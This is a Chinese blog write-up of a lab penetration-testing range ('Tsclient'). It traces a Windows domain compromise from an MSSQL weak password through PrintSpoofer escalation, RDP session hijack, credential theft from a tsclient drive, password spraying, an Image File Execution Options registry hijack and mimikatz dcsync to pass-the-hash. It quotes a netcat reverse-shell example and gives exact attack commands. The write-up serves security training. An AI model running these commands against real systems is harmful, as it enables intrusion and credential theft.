【渗透测试】Tsclient-春秋云镜 极致的工具化打法!

前言

做题的时候比较赶,截图可能不是完整的,主要以渗透思路为主(沙砾是真的贵,多花一点都感觉心疼)

信息搜集

开放端口探测
image.png
image.png
主机&开放端口详情
这里对扫描内容做了输出到文件的操作,直接把文件贴过来好了

# Nmap 7.94 scan initiated Mon Oct  2 23:08:59 2023 as: nmap -sS -sV -sC -O -p80,1433,2383,3389 -oA /home/kali/box/Tsclient/message 39.98.113.183
Nmap scan report for 39.98.113.183
Host is up (0.0076s latency).

PORT     STATE SERVICE            VERSION
80/tcp   open  http               Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
1433/tcp open  ms-sql-s           Microsoft SQL Server 2016 13.00.1601.00; RTM
| ms-sql-ntlm-info: 
|   39.98.113.183:1433: 
|     Target_Name: WIN-WEB
|     NetBIOS_Domain_Name: WIN-WEB
|     NetBIOS_Computer_Name: WIN-WEB
|     DNS_Domain_Name: WIN-WEB
|     DNS_Computer_Name: WIN-WEB
|_    Product_Version: 10.0.14393
| ms-sql-info: 
|   39.98.113.183:1433: 
|     Version: 
|       name: Microsoft SQL Server 2016 RTM
|       number: 13.00.1601.00
|       Product: Microsoft SQL Server 2016
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
|_ssl-date: 2023-10-03T03:10:08+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2023-10-03T03:03:30
|_Not valid after:  2053-10-03T03:03:30
2383/tcp open  ms-olap4?
3389/tcp open  ssl/ms-wbt-server?
|_ssl-date: 2023-10-03T03:10:08+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=WIN-WEB
| Not valid before: 2023-10-02T03:03:20
|_Not valid after:  2024-04-02T03:03:20
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Microsoft Windows XP|7|2012
OS CPE: cpe:/o:microsoft:windows_xp::sp3 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_server_2012
OS details: Microsoft Windows XP SP3 or Windows 7 or Windows Server 2012
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Oct  2 23:10:08 2023 -- 1 IP address (1 host up) scanned in 68.70 seconds

信息搜集总结

  • 80端口http服务,采用微软IIS
  • 1433端口mssql服务,fscan扫描出了弱口令sa/1qaz!QAZ
  • 3389端口,可以尝试远程连接
  • 主机名:WIN-WEB
  • 操作系统:Windows

对WIN-WEB渗透

拿到了mssql的弱口令,那么首先用MDUT连接拿到shell,因为是Windows机器,习惯用web投递上线CS
image.png
image.png

信息枚举

shell whoami /all主要是查看SID,作为好习惯,万一后面需要伪造黄金票据用
image.png
shell ipconfig /all枚举网卡信息

  • 没有主DNS,怀疑主机存在于工作组而非域环境
  • 发现内网IP172.22.8.18

image.png
shell systeminfo枚举系统信息

  • 域:WORKGROUP,确认为工作组环境
  • 操作系统:Windows Server 2016
  • 处理器为64位,一些工具版本的适用情况需要注意

image.png
MDUT上传fscan64.exe,对内网网段172.22.8.0/24进行扫描
上传文件时需要注意:只能上传到C:\users\public\目录下,其他目录下could not upload file:5报错


   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.2
start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 172.22.8.31     is alive
(icmp) Target 172.22.8.46     is alive
(icmp) Target 172.22.8.15     is alive
(icmp) Target 172.22.8.18     is alive
[*] Icmp alive hosts len is: 4
172.22.8.46:139 open
172.22.8.31:139 open
172.22.8.18:1433 open
172.22.8.18:445 open
172.22.8.15:445 open
172.22.8.46:445 open
172.22.8.31:445 open
172.22.8.15:139 open
172.22.8.18:139 open
172.22.8.18:135 open
172.22.8.15:135 open
172.22.8.46:135 open
172.22.8.31:135 open
172.22.8.18:80 open
172.22.8.46:80 open
172.22.8.15:88 open
[*] alive ports len is: 16
start vulscan
[*] NetInfo:
[*]172.22.8.18
   [->]WIN-WEB
   [->]172.22.8.18
   [->]2001:0:348b:fb58:241d:3fda:d89c:6887
[*] NetInfo:
[*]172.22.8.31
   [->]WIN19-CLIENT
   [->]172.22.8.31
[*] NetBios: 172.22.8.31     XIAORANG\WIN19-CLIENT          
[*] NetBios: 172.22.8.15     [+]DC XIAORANG\DC01            
[*] NetInfo:
[*]172.22.8.15
   [->]DC01
   [->]172.22.8.15
[*] NetInfo:
[*]172.22.8.46
   [->]WIN2016
   [->]172.22.8.46
[*] NetBios: 172.22.8.46     WIN2016.xiaorang.lab                Windows Server 2016 Datacenter 14393 
[*] WebTitle: http://172.22.8.18        code:200 len:703    title:IIS Windows Server
[*] WebTitle: http://172.22.8.46        code:200 len:703    title:IIS Windows Server
[+] mssql:172.22.8.18:1433:sa 1qaz!QAZ
宸插畬鎴?16/16
[*] 鎵弿缁撴潫,鑰楁椂: 11.5973825s


主机发现

  • WIN-WEB(本机):172.22.8.18
  • WIN19-CLIENT:172.22.8.31,存在于域环境,域名XIAORANG
  • DC01:172.22.8.15,根据名字和.31主机的netbios得知这就是域控
  • WIN2016:172.22.8.46,windwos server 2016操作系统,域名WIN2016.xiaorang.lab

WIN-WEB提权

MDUT上传PrintSpoofer.exe进行提权

https://github.com/whojeff/PrintSpoofer

PrintSpoofer v0.1 (by @itm4n)
  Provided that the current user has the SeImpersonate privilege, this tool will leverage the Print
  Spooler service to get a SYSTEM token and then run a custom command with CreateProcessAsUser()
Arguments:
  -c <CMD>    Execute the command *CMD*
  -i          Interact with the new process in the current command prompt (default is non-interactive)
  -d <ID>     Spawn a new process on the desktop corresponding to this session *ID* (check your ID with qwinsta)
  -h          That's me :)
Examples:
  - Run PowerShell as SYSTEM in the current console
      PrintSpoofer.exe -i -c powershell.exe
  - Spawn a SYSTEM command prompt on the desktop of the session 1
      PrintSpoofer.exe -d 1 -c cmd.exe
  - Get a SYSTEM reverse shell
      PrintSpoofer.exe -c "c:\Temp\nc.exe 10.10.13.37 1337 -e cmd"

image.png
image.png
whoami返回system,成功提权。接下来将system会话也上线到cs,方法很简单,MDUT上传CS马,用PrintSpoofer执行即可
image.png
拿到SYSTEM权限后,对文件目录一番搜寻找到flag01,type读内容
image.png
这里给出来了提示:也许你应该注意用户会话,那就重点枚举用户信息

john用户信息枚举

image.png
image.png
从上面三个命令可以发现,John用户的类型为Admin,它的会话为rdp远程连接。通过注入进程的方式拿到一个用户为John的会话inject pid
image.png
在John的beacon下查看net use信息,发现它通过tsclient挂载了C盘,我们已经是john用户了,所以dir看看这个被挂载的C盘里有什么东西?

net use命令详解https://www.cnblogs.com/mamiyiya777/p/11017875.html
远程桌面mstsc情况下通过\\tsclient\盘符实现内容的拷贝:https://blog.csdn.net/xulianboblog/article/details/51059540

image.png
![在这里插入图片描述](https://img-blog.csdnimg.cn/9d8c930650414c25b24572080afe44e6.png

在这里插入图片描述

image.png
发现一个credential.txt,里面存有xiaorang.lab\Aldrich:Ald@rLMWuy7Z!#,还有一个提示,你知道如何劫持镜像吗?

密码喷洒&远程登录攻击

先在这里对内网网段里的主机做一个密码喷洒,在此之前需要建立socks代理,在CS中我们可以很方便建立Socks。

CoblatStrike socks代理隧道:https://blog.csdn.net/weixin_43571641/article/details/123006802
什么是密码喷洒:https://www.keepersecurity.com/zh_CN/threats/password-spraying-attack.html
密码喷洒攻击:https://blog.csdn.net/qq_42383069/article/details/123796855

撞到了WIN2016、WIN19-CLIENT、DC01(其实就是内网的所有主机都能用这个账户密码)
image.png
用这组域名\用户名:密码xiaorang.lab\Aldrich:Ald@rLMWuy7Z!#尝试rdesktop剩下三台主机
过程没有截图,文字记录一下:rdesktop之后WIN2016没法登录,但是WIN19-CLIENT主机可以登录,登录后告诉我密码过期需要修改,我改为了1qaz@WSX,接着我能够登录进WIN19-CLIENT和WIN2016,但是很卡,应该是给kali分配的内存小的问题,下次可以搞proxifer在Windows上远程连接
rdesktop到WIN2016(172.22.8.46),进行一些信息枚举
image.png
ipconfig /all看到该主机在域内,域名为xiaorang.1ab
image.png
ping 百度发现该主机不出网
image.png

WIN2016映像劫持提权

按照之前的提示就是用映像劫持去打了,运行下面命令,发现NT AUTHORITY\Authenticated Users可以修改注册表,即所有账号密码登录的用户都可以修改注册表,利用这个性质,修改注册表,使用放大镜进行提权
get-acl -path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" | fl *
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"
image.png
开始—用户—锁定,右下角打开放大镜就能拿到system权限的cmd,继续一番搜寻找到flag02
image.png
image.png

不出网上线CS:https://blog.csdn.net/st3pby/article/details/127683826
cs利用smb上线内网不出网主机:https://blog.csdn.net/weixin_41598660/article/details/109196489

将WIN2016上线到CS,mimikatz拿到域管理员的hash
shell C:\\Users\\Public\\mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:xiaorang.lab /all /csv" "exit"

impacket工具包进行横向移动

使用impacket里的smbexec.py进行hash传递登录域控DC01(172.22.8.15),拿到system的cmdshell,拿下flag03
image.png
image.png
image.png

总结

这个靶场是纯Windows靶场,有很多难点,也有很多可扩展学习的地方。

  1. fscan爆出MSSQL弱口令,通过MDUT工具拿下WIN-WEB
  2. RDP贯穿整个内网渗透的思路,是这个靶场的核心
  3. john用户用tsclient挂载C盘到WIN-WEB,把域内主机用户密码给泄露了,可以做密码喷洒攻击(密码碰撞)
  4. 映像劫持提权:放大镜这个是直接拿WP的用,可以扩展学习
  5. impacket工具包的使用

作为一个学习渗透从B站红队笔记开始的人,春秋云镜的靶场很多的使用工具让人有点略微不适应。TOOL云镜不愧如此,但确实tool有用。nmap很难扫描出MSSQL的弱口令,但是fscan就很容易;MDUT拿下数据库服务的cmd_shell确实傻瓜式,很方便很简单;impacket工具包smbexec进行hash传递登录域控机器从而完成横向移动的手段确实简单,对于这个工具包还可以深入学习一下。

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值